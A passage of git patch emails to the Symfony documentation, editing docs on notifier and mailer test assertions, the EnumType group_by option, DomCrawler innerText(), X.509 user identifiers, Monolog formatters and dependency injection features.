+Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
+which provide useful methods for testing your Notifier implementation.
+You can benefit from this class by using it directly or extending the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`.
+
+See :ref:`testing documentation <notifier-assertions>` for the list of available assertions.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait` was introduced in Symfony 6.2.
+
 Disabling Delivery
 ------------------
 

From 3e960bc0b7d267164ecf8dff749ee7b1ba4d71b1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Jan 2023 13:33:30 +0100
Subject: [PATCH 2751/5766] Minor

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index a2980ff5be5..588b8e408e1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -764,13 +764,15 @@ Testing Notifier
 
 Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
 which provide useful methods for testing your Notifier implementation.
-You can benefit from this class by using it directly or extending the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`.
+You can benefit from this class by using it directly or extending the
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`.
 
 See :ref:`testing documentation <notifier-assertions>` for the list of available assertions.
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait` was introduced in Symfony 6.2.
+    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
+    was introduced in Symfony 6.2.
 
 Disabling Delivery
 ------------------

From 96ff886797f447673551fb47b4563cc4d69ced69 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Thu, 12 Jan 2023 17:34:53 +0100
Subject: [PATCH 2752/5766] update mailer testing documentation

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0cf1dc2a34c..cf838c8af8f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1534,21 +1534,21 @@ Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 To functionally test that an email was sent, and even assert the email content or headers,
-you can use the built in assertions::
+you can use the built in assertions provided by :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`.
+
+See :ref:`testing documentation <mailer-assertions>` for the list of available assertions.::
 
     // tests/Controller/MailControllerTest.php
     namespace App\Tests\Controller;
 
-    use Symfony\Bundle\FrameworkBundle\Test\MailerAssertionsTrait;
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class MailControllerTest extends WebTestCase
     {
-        use MailerAssertionsTrait;
 
         public function testMailIsSentAndContentIsOk()
         {
-            $client = $this->createClient();
+            $client = static::createClient();
             $client->request('GET', '/mail/send');
             $this->assertResponseIsSuccessful();
 

From 32e93ba84dfcd3c5537855c1c567ac8638b8f200 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 10 Jan 2023 20:31:50 +0100
Subject: [PATCH 2753/5766] [Form] Add `group_by` option for EnumType

---
 reference/forms/types/enum.rst | 53 ++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 63bca396c4b..c8bd18d2c04 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -92,6 +92,59 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
+``group_by``
+~~~~~~~~~~~~
+
+**type**: ``string`` or ``callable`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
+
+You can group the ``<option>`` elements of a ``<select>`` into ``<optgroup>``
+by passing a multi-dimensional array to ``choices``. See the
+:ref:`Grouping Options <form-choices-simple-grouping>` section about that.
+
+The ``group_by`` option is an alternative way to group choices, which gives you
+a bit more flexibility.
+
+Let's add a few cases to our ``TextAlign`` enumeration::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign: string
+    {
+        case UpperLeft = 'Upper Left aligned';
+        case LowerLeft = 'Lower Left aligned';
+
+        case Center = 'Center aligned';
+
+        case UpperRight = 'Upper Right aligned';
+        case LowerRight = 'Lower Right aligned';
+    }
+
+We can now group choices by the enum case value::
+
+    use App\Config\TextAlign;
+    use Symfony\Component\Form\Extension\Core\Type\EnumType;
+    // ...
+
+    $builder->add('alignment', EnumType::class, [
+        'class' => TextAlign::class,
+        'group_by' => function(TextAlign $choice, int $key, string $value): ?string {
+            if (str_starts_with($value, 'Upper')) {
+                return 'Upper';
+            }
+
+            if (str_starts_with($value, 'Lower')) {
+                return 'Lower';
+            }
+
+            return 'Other';
+        }
+    ]);
+
+This callback will group choices in 3 categories: ``Upper``, ``Lower`` and ``Other``.
+
+If you return ``null``, the option won't be grouped.
+
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc

From 4e51357906288b320d3ce4d0ba2fc8c62dea9b6b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl?= <mickael.bourgier@gmail.com>
Date: Thu, 12 Jan 2023 17:58:23 +0100
Subject: [PATCH 2754/5766] Fix empty_data option description of TextareaType

---
 reference/forms/types/textarea.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 3e0ac8e0db9..329c91731b4 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -35,7 +35,9 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
-The default value is ``''`` (the empty string).
+From an HTTP perspective, submitted data is always a string or an array of strings.
+So by default, the form will treat any empty string as null. If you prefer to get
+an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/empty_data_description.rst.inc
 

From e5047eeab8607901fffd14dace1eab9b716ffd74 Mon Sep 17 00:00:00 2001
From: otsch <otsch@users.noreply.github.com>
Date: Thu, 12 Jan 2023 21:12:36 +0100
Subject: [PATCH 2755/5766] Adapt docs for Crawler::innerText()

According to the changes from
https://github.com/symfony/symfony/pull/48940
---
 components/dom_crawler.rst | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 709f3d86981..6f1558d82a4 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -221,16 +221,24 @@ Access the value of the first node of the current selection::
     // avoid the exception passing an argument that text() returns when node does not exist
     $message = $crawler->filterXPath('//body/p')->text('Default text content');
 
-    // by default, text() trims white spaces, including the internal ones
+    // by default, text() trims whitespace characters, including the internal ones
     // (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
-    // innerText() is similar to text() but only returns the text that is
-    // the direct descendant of the current node, excluding any child nodes
+    // innerText() is similar to text() but returns only text that is a direct
+    // descendant of the current node, excluding text from child nodes
     $text = $crawler->filterXPath('//body/p')->innerText();
-    // if content is <p>Foo <span>Bar</span></p>
-    // innerText() returns 'Foo' and text() returns 'Foo Bar'
+    // if content is <p>Foo <span>Bar</span></p> or <p><span>Bar</span> Foo</p>
+    // innerText() returns 'Foo' and text() returns 'Foo Bar' respectively 'Bar Foo'
+
+    // if there are multiple text nodes, between other child nodes, like
+    // <p>Foo <span>Bar</span> Baz</p>
+    // innerText() returns only the first text node 'Foo'
+
+    // like text(), innerText() also trims whitespace characters by default,
+    // but you can get the unchanged text by passing FALSE as argument
+    $text = $crawler->filterXPath('//body/p')->innerText(false);
 
 Access the attribute value of the first node of the current selection::
 

From 9bc26d15e64853b4e15062f6833f72d438128f6e Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Fri, 13 Jan 2023 00:10:30 +0100
Subject: [PATCH 2756/5766] remove QueuingMessageEvent from documentation

---
 mailer.rst | 51 ++++++++-------------------------------------------
 1 file changed, 8 insertions(+), 43 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 7c8ab512493..3f3c5870278 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1480,9 +1480,16 @@ the email is sent::
         if (!$message instanceof Email) {
             return;
         }
-        // do something with the message
+        // do something with the message (logging, ...)
+
+        // and/or add some Messenger stamps
+        $event->addStamp(new SomeMessengerStamp());
     }
 
+.. versionadded:: 6.2
+
+    Methods ``addStamp()`` and ``getStamps()`` were introduced in Symfony 6.2.
+
 .. tip::
 
     When using a ``MessageEvent`` listener to
@@ -1497,48 +1504,6 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
-QueuingMessageEvent
-~~~~~~~~~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\QueuingMessageEvent`
-
-.. versionadded:: 6.2
-
-    The ``QueuingMessageEvent`` class was introduced in Symfony 6.2.
-
-``QueuingMessageEvent`` allows to add some logic before the email is sent to
-the Messenger bus (this event is not dispatched when no bus is configured); it
-extends ``MessageEvent`` to allow adding Messenger stamps to the Messenger
-message sent to the bus::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Mailer\Event\QueuingMessageEvent;
-    use Symfony\Component\Mime\Email;
-
-    public function onMessage(QueuingMessageEvent $event): void
-    {
-        $message = $event->getMessage();
-        if (!$message instanceof Email) {
-            return;
-        }
-        // do something with the message (logging, ...)
-
-        // and/or add some Messenger stamps
-        $event->addStamp(new SomeMessengerStamp());
-    }
-
-This event lets listeners do something before a message is sent to the queue
-(like adding stamps or logging) but any changes to the message or the envelope
-are discarded. To change the message or the envelope, listen to
-``MessageEvent`` instead.
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\QueuingMessageEvent"
-
 SentMessageEvent
 ~~~~~~~~~~~~~~~~
 

From 71febc1eb4105c0aea2f292aea15750d5a9c0ecf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my?= <babeuloula@gmail.com>
Date: Fri, 13 Jan 2023 11:33:52 +0100
Subject: [PATCH 2757/5766] Fix issue #17731

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 280a5f9b6df..bde2a8a900c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -707,7 +707,7 @@ First, make sure that the VarDumper component is installed in the application:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/var-dumper
+    $ composer require --dev symfony/debug-bundle
 
 Then, use either the ``{% dump %}`` tag or the ``{{ dump() }}`` function
 depending on your needs:

From f2dc408055367f8652595c8bc80927ed8929a1a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 12:08:09 +0100
Subject: [PATCH 2758/5766] Add the versionadded directive

---
 components/dom_crawler.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 6f1558d82a4..45988af8cef 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -230,7 +230,7 @@ Access the value of the first node of the current selection::
     // descendant of the current node, excluding text from child nodes
     $text = $crawler->filterXPath('//body/p')->innerText();
     // if content is <p>Foo <span>Bar</span></p> or <p><span>Bar</span> Foo</p>
-    // innerText() returns 'Foo' and text() returns 'Foo Bar' respectively 'Bar Foo'
+    // innerText() returns 'Foo' in both cases; and text() returns 'Foo Bar' and 'Bar Foo' respectively
 
     // if there are multiple text nodes, between other child nodes, like
     // <p>Foo <span>Bar</span> Baz</p>
@@ -240,6 +240,11 @@ Access the value of the first node of the current selection::
     // but you can get the unchanged text by passing FALSE as argument
     $text = $crawler->filterXPath('//body/p')->innerText(false);
 
+.. versionadded:: 6.3
+
+    The removal of whitespace characters by default in ``innerText()`` was
+    introduced in Symfony 6.3.
+
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');

From 90768b16c76c8eb03bf510b3b073180f7e081906 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 12:39:16 +0100
Subject: [PATCH 2759/5766] Minor reword

---
 mailer.rst  | 10 +++++-----
 testing.rst |  2 ++
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cf838c8af8f..96aafab79af 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1533,10 +1533,11 @@ a specific address, instead of the *real* address:
 Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-To functionally test that an email was sent, and even assert the email content or headers,
-you can use the built in assertions provided by :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`.
-
-See :ref:`testing documentation <mailer-assertions>` for the list of available assertions.::
+Symfony provides lots of :ref:`built-in mailer assertions <mailer-assertions>`
+to functionally test that an email was sent, its contents or headers, etc.
+They are available in test classes extending
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase` or when using
+the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
     // tests/Controller/MailControllerTest.php
     namespace App\Tests\Controller;
@@ -1545,7 +1546,6 @@ See :ref:`testing documentation <mailer-assertions>` for the list of available a
 
     class MailControllerTest extends WebTestCase
     {
-
         public function testMailIsSentAndContentIsOk()
         {
             $client = static::createClient();
diff --git a/testing.rst b/testing.rst
index 8f1b7692ca2..0e13ce5a49d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1061,6 +1061,8 @@ Crawler Assertions
     ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
     in Symfony 5.2.
 
+.. _mailer-assertions:
+
 Mailer Assertions
 .................
 

From d9c9a94c734d48c2b6b14942ff1ac8302e79d185 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 17:12:59 +0100
Subject: [PATCH 2760/5766] Shortening the list to make it more scanable

---
 configuration.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d88b72ad3af..fdf078f832b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -347,7 +347,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
 .. note::
 
     If some parameter value includes the ``%`` character, you need to escape it
-    by adding another ``%`` so Symfony doesn't consider it a reference to a
+    by adding another ``%``, so Symfony doesn't consider it a reference to a
     parameter name:
 
     .. configuration-block::
@@ -409,17 +409,18 @@ The files stored in ``config/packages/`` are used by Symfony to configure the
 the application behavior by changing which configuration files are loaded.
 That's the idea of Symfony's **configuration environments**.
 
-A typical Symfony application begins with three environments: ``dev`` (for local
-development), ``prod`` (for production servers) and ``test`` (for
-:doc:`automated tests </testing>`). When running the application, Symfony loads
+A typical Symfony application begins with three environments:
+* ``dev`` for local development,
+* ``prod`` for production servers,
+* ``test`` for :doc:`automated tests </testing>`.
+When running the application, Symfony loads
 the configuration files in this order (the last files can override the values
 set in the previous ones):
 
-#. ``config/packages/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
-#. ``config/packages/<environment-name>/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
-#. ``config/services.yaml`` (and ``services.xml`` and ``services.php`` files too);
-#. ``config/services_<environment-name>.yaml`` (and ``services_<environment-name>.xml``
-   and ``services_<environment-name>.php`` files too).
+#. The files in ``config/packages/*.<extension>``;
+#. the files in ``config/packages/<environment-name>/*.<extension>``;
+#. ``config/services.<extension>``;
+#. ``config/services_<environment-name>.<extension>``.
 
 Take the ``framework`` package, installed by default, as an example:
 

From 362f0276614eedc64411637392798795b795a5e8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 16:46:39 +0100
Subject: [PATCH 2761/5766] Minor tweak

---
 configuration.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 27e673e7ea5..03a297d0bb0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -409,12 +409,13 @@ the application behavior by changing which configuration files are loaded.
 That's the idea of Symfony's **configuration environments**.
 
 A typical Symfony application begins with three environments:
+
 * ``dev`` for local development,
 * ``prod`` for production servers,
 * ``test`` for :doc:`automated tests </testing>`.
-When running the application, Symfony loads
-the configuration files in this order (the last files can override the values
-set in the previous ones):
+
+When running the application, Symfony loads the configuration files in this
+order (the last files can override the values set in the previous ones):
 
 #. The files in ``config/packages/*.<extension>``;
 #. the files in ``config/packages/<environment-name>/*.<extension>``;

From e1bd56968ec191611666ac9a8b0d04633c146a29 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 17:33:42 +0100
Subject: [PATCH 2762/5766] Tweak

---
 reference/configuration/security.rst | 26 ++++++++++++++++----------
 security.rst                         |  4 ++--
 2 files changed, 18 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 865c5e4b267..10365ab21bf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -663,9 +663,9 @@ X.509 Authentication
                 main:
                     # ...
                     x509:
-                        provider:    your_user_provider
-                        user:        SSL_CLIENT_S_DN_Email
-                        credentials: SSL_CLIENT_S_DN
+                        provider:        your_user_provider
+                        user:            SSL_CLIENT_S_DN_Email
+                        credentials:     SSL_CLIENT_S_DN
                         user_identifier: emailAddress
 
     .. code-block:: xml
@@ -705,7 +705,7 @@ X.509 Authentication
                 ->provider('your_user_provider')
                 ->user('SSL_CLIENT_S_DN_Email')
                 ->credentials('SSL_CLIENT_S_DN')
-                ->user_identifier('emailAddress')
+                ->userIdentifier('emailAddress')
             ;
         };
 
@@ -726,18 +726,24 @@ If the ``user`` parameter is not available, the name of the ``$_SERVER``
 parameter containing the full "distinguished name" of the certificate
 (exposed by e.g. Nginx).
 
-By default, Symfony identifies the value following ``emailAddress=`` in this parameter.
-This can be changed using the ``user_identifier`` parameter.
+By default, Symfony identifies the value following ``emailAddress=`` in this
+parameter. This can be changed using the ``user_identifier`` option.
 
 user_identifier
-...........
+...............
 
 **type**: ``string`` **default**: ``emailAddress``
 
-The ``user_identifier`` parameter is used to find the user identifier in the
-"distinguished name" e.g. ``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``.
+.. versionadded:: 6.3
+
+    The ``user_identifier`` option was introduced in Symfony 6.3.
+
+The value of this option tells Symfony which parameter to use to find the user
+identifier in the "distinguished name".
 
-By setting this parameter to ``CN``, the returned user identifier will be the "Common Name" ``user1``
+For example, if the "distinguished name" is
+``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``,
+and the value of this option is ``'CN'``, the user identifier will be ``'user1'``.
 
 .. _reference-security-firewall-remote-user:
 
diff --git a/security.rst b/security.rst
index 0501a4c1ff3..ae8c0bd7cd8 100644
--- a/security.rst
+++ b/security.rst
@@ -1316,8 +1316,8 @@ ways:
 #. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
    matches the value following ``emailAddress``.
 
-You can customize the name of the three parameters under the ``x509`` key.
-See :ref:`the configuration reference <reference-security-firewall-x509>`
+You can customize the name of some parameters under the ``x509`` key.
+See :ref:`the x509 configuration reference <reference-security-firewall-x509>`
 for more details.
 
 Remote Users

From 57fae2a796cabeef1dfcce238d9d0248cf5ead96 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Jan 2023 18:50:48 +0100
Subject: [PATCH 2763/5766] [Form] Add missing imports in unmapped fields
 example

---
 forms.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/forms.rst b/forms.rst
index 8d39df0a113..6d234b482a1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -968,6 +968,8 @@ example to add an *"I agree with these terms"* checkbox), set the ``mapped``
 option to ``false`` in those fields::
 
     // ...
+    use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
+    use Symfony\Component\Form\Extension\Core\Type\SubmitType;
     use Symfony\Component\Form\FormBuilderInterface;
 
     class TaskType extends AbstractType

From 1c730a418042c7049ce0a4b341eabc8a34ad4fde Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 16:57:44 +0100
Subject: [PATCH 2764/5766] [Monolog] List available built-in formatters

---
 logging/formatter.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/logging/formatter.rst b/logging/formatter.rst
index 737b0b86a5f..ffddbd1ed72 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -55,3 +55,17 @@ configure your handler to use it:
                 ->formatter('monolog.formatter.json')
             ;
         };
+
+Many built-in formatters are available in Monolog. A lot of them are declared as services
+and can be used in the ``formatter`` option:
+
+* ``monolog.formatter.chrome_php``: formats a record according to the ChromePHP array format
+* ``monolog.formatter.gelf_message``: serializes a format to GELF format
+* ``monolog.formatter.html``: formats a record into an HTML table
+* ``monolog.formatter.json``: serializes a record into a JSON object
+* ``monolog.formatter.line``: formats a record into a one-line string
+* ``monolog.formatter.loggly``: formats a record information into JSON in a format compatible with Loggly
+* ``monolog.formatter.logstash``: serializes a record to Logstash Event Format
+* ``monolog.formatter.normalizer``: normalizes a record to remove objects/resources so it's easier to dump to various targets
+* ``monolog.formatter.scalar``: formats a record into an associative array of scalar (+ null) values (objects and arrays will be JSON encoded)
+* ``monolog.formatter.wildfire``: serializes a record according to Wildfire's header requirements

From 5a3409f2ccd90a16de74f157dbced6ce13bd328f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 20:08:05 +0100
Subject: [PATCH 2765/5766] Fix blank space typo

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 03a297d0bb0..52109426ceb 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -57,7 +57,7 @@ Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
 Unlike other frameworks, Symfony doesn't impose a specific format on you to
-configure your applications, but lets you choose between YAML, XML and PHP. 
+configure your applications, but lets you choose between YAML, XML and PHP.
 Throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 

From 6c5ce231e66682e55c09831d45c543ddc77b4b32 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 20:56:18 +0100
Subject: [PATCH 2766/5766] [DependencyInjection] Autowire union and
 intersection types

---
 service_container/autowiring.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 084f37587a2..86010b94bc9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -374,6 +374,30 @@ dealing with the ``TransformerInterface``.
     discovered that implements an interface, configuring the alias is not mandatory
     and Symfony will automatically create one.
 
+.. tip::
+
+    Autowiring is powerful enough to guess which service to inject even when using
+    union and intersection types. This means you're able to type-hint argument with
+    complex types like this::
+
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        use Symfony\Component\Serializer\SerializerInterface;
+
+        class DataFormatter
+        {
+            public function __construct((NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer)
+            {
+                // ...
+            }
+
+            // ...
+        }
+
+.. versionadded:: 5.4
+
+    The support of union and intersection types was introduced in Symfony 5.4.
+
 Dealing with Multiple Implementations of the Same Type
 ------------------------------------------------------
 

From 92e5997b1c37c5224e68c6ef5c5ba562fcb57fec Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 14 Jan 2023 09:52:33 +0100
Subject: [PATCH 2767/5766] [Notifier] Fix typo OneSignal DSN

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 040723bf6d9..4455fb563dc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -38,7 +38,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* Push Channel sends notifications to phones and browsers via push notifications.
+* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
 
 .. tip::
 
@@ -339,6 +339,8 @@ notification emails:
             ;
         };
 
+.. _notifier-push-channel:
+
 Push Channel
 ~~~~~~~~~~~~
 
@@ -357,7 +359,7 @@ integration with these push services:
 Service         Package                               DSN
 ==============  ====================================  =================================================================================
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
-OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
+OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 ==============  ====================================  =================================================================================
 
 .. versionadded:: 5.4

From 978d0e82feb63ea8c1b67ac9c5f70e35e7af989f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 16:27:06 +0100
Subject: [PATCH 2768/5766] [DependencyInjection] Enable deprecating parameters

---
 .../dependency_injection/compilation.rst      | 33 ++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 2d471177c58..2fe075efc0d 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -254,6 +254,37 @@ file but also load a secondary one only if a certain parameter is set::
         }
     }
 
+You are also able to deprecate container parameters in your extension to warn
+to not use a specific parameter anymore. This is particularly useful to help
+developers with the migration process across major versions of an extension.
+The deprecation can be done thanks to the ``ContainerBuilder::deprecateParameter``
+method. This can only be achieved when configuring an extension with PHP, as this is
+not possible to do it with other configuration formats (YAML, XML). Let's define a
+parameter in our extension that will be declared as deprecated::
+
+    public function load(array $configs, ContainerBuilder $containerBuilder)
+    {
+        // ...
+
+        $containerBuilder->setParameter('acme_demo.database_user', $configs['db_user']);
+
+        $containerBuilder->deprecateParameter(
+            'acme_demo.database_user',
+            'acme/database-package',
+            '1.3',
+            // optionally you can set a custom deprecation message
+            '"acme_demo.database_user" is deprecated, you should configure database credentials with the "acme_demo.database_dsn" parameter instead.'
+        );
+    }
+
+The parameter being deprecated must be set before being declared as deprecated. Otherwise
+a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException` exception
+will be thrown.
+
+.. versionadded:: 6.3
+
+     The ``ContainerBuilder::deprecateParameter`` method was introduced in Symfony 6.3.
+
 .. note::
 
     Just registering an extension with the container is not enough to get
@@ -478,7 +509,7 @@ serves at dumping the compiled container::
     the :ref:`dumpFile() method <filesystem-dumpfile>` from Symfony Filesystem
     component or other methods provided by Symfony (e.g. ``$containerConfigCache->write()``)
     which are atomic.
-    
+
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
 dump it::

From f6c140c2f99f8d062c047735784f08fe66d66aea Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 20:30:06 +0100
Subject: [PATCH 2769/5766] [DependencyInjection] Complete examples with
 TaggedIterator and TaggedLocator attributes

---
 .../service_subscribers_locators.rst          | 34 +++++++++++++
 service_container/tags.rst                    | 48 +++++++++++++++++++
 2 files changed, 82 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index c3cf4c6a744..2630db0977d 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -516,6 +516,23 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\ServiceLocator;
+
+        class CommandBus
+        {
+            public function __construct(
+                #[TaggedLocator('app.handler', indexAttribute: 'key')]
+                ServiceLocator $locator
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -619,6 +636,23 @@ attribute to the locator service defining the name of this custom method:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\ServiceLocator;
+
+        class CommandBus
+        {
+            public function __construct(
+                #[TaggedLocator('app.handler', 'key', defaultIndexMethod: 'myOwnMethodName')]
+                ServiceLocator $locator
+            ) {
